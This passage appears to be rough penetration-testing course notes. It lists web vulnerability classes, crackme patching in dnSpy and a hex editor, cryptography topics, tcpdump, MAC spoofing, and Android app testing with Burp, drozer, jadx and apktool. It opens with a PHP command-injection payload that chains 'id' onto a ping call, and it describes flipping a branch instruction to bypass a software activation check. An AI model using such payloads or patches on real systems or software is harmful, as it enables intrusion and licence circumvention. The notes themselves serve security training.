Echo shell_exec(“ping -c 2 “ .
google.com;id); ?>
```

Sensitive information exposure

/phpinfo.php

Sensitive information exposure level1

Sensitive information exposure level2

No rate limit

Idor

Broken access control

Broken authentication

Parameter tampering

Security Misconfiguration

Open redirect

Host header injection

Insecure deserialization

Downloading necessary software and tools

- Dnspy download on github
- Dnspy-nerfirmwork
- Create shortcut Dnspy.exe (32bit and 64bit)
- Download horsicq.github.io

- Create shortcut Die.exe
- Download hexworkshop.com

Editing strings

- Level1 crackme drag to hex workshop
- Find > text string > enable find all instance > enable all > view:ACTIVATE SOFTWARE > ok
- Edit string > save as > rename > save

Patching level (1-10) crackme

- Level1 crackme drag to die.exe
- Level1 crackme drag to dnspy.exe (after detecting) ● Assembly explorer > active window
- Text > Edit method
- Save module > rename > ok
- Edit il instruction
- brfalse.se switch to brtrue.se

CRYPTOGRAPHY

Introduction tocryptography

Objectives of cryptography

Types of cryptography

Encoding and decoding

# hash-identifier

Symmetric key encryption

Working of des

Asymmetric key cryptography

Email encryption

```
# nano private.txt
# nano public.txt
```

Hashing

```
# chmod 777 md5.sh
# ./case.sh text.txt
# echo -n <name> | md5sum
```

Checking file integrity

Ssh

Cryptanalysis

Ssl

Cryptanalysis practical

Disk encryption

Network insecurity

Sniffing and spoofing

Spoofing, crypto and wifi

Demo tcpdump

```
# tcpdump -i eth0 -w web.pcap (at same time start and stopping ggogle)
# file web.pcap
# tcpdump -r web.pcap
# tcpdump -i eth0 -w web.pcap host google.com (at same time start and stopping
ggogle)
# tcpdump -v -r web.pcap
```

Introduction to network pentesting

Network basic

Connecting a wireless adapter to kali

What is MAC address and how change it

```
# sudo ifconfig eth0 down
# sudo ifconfig eth0 hw ether <new mac>
```

ANROID PENTESTING

Setting up genymotion

Drag to emulator

Connecting genymotion with burpsuite

```
# adb devices
# adb shell
```

burpsuite > proxy > option > add > set random port and ip subnet > ok Emulator > wifi modify network > proxy manual > set burpsuite same ip and port > ok Go to browser > intercept on > emulator ip and port search > download certificate(rename .crt) > drag to emulator > emulator setting > security > install from Sdcard

Jadx setup

```
# ./jadx-gui
```

Drozer setup

```
# dpkg --install debian_file_name (download debian)
# pip install python_wheel_file (install python.whl) #
adb install apk_filename (Download agent.apk.only) #
adb forward tcp:31415 tcp:31415
# drozer console connect (embded server on)
> help
> list
> run package_name
```

M1 improper platform usage

M2 insecure data storage

M3 insecure communication

M4 insecure authentication

M5 insufficient cryptography

M6 insecure authorization

M7 client code quality

M8 code tampering

M10 extraneous functionality

Reversing apk

```
# apktool d file_path
```

Hardcoding issue

Open Jdx-gui then add .apk file

```
# apktool d apk_file
```

Dynamic analysis using ligcat

```
# adb logcat
# adb logcat | grep “diva”
```

Dynamic analysis using drozer sql injection

No rate limiting attack

Dynamic analysis using mobsf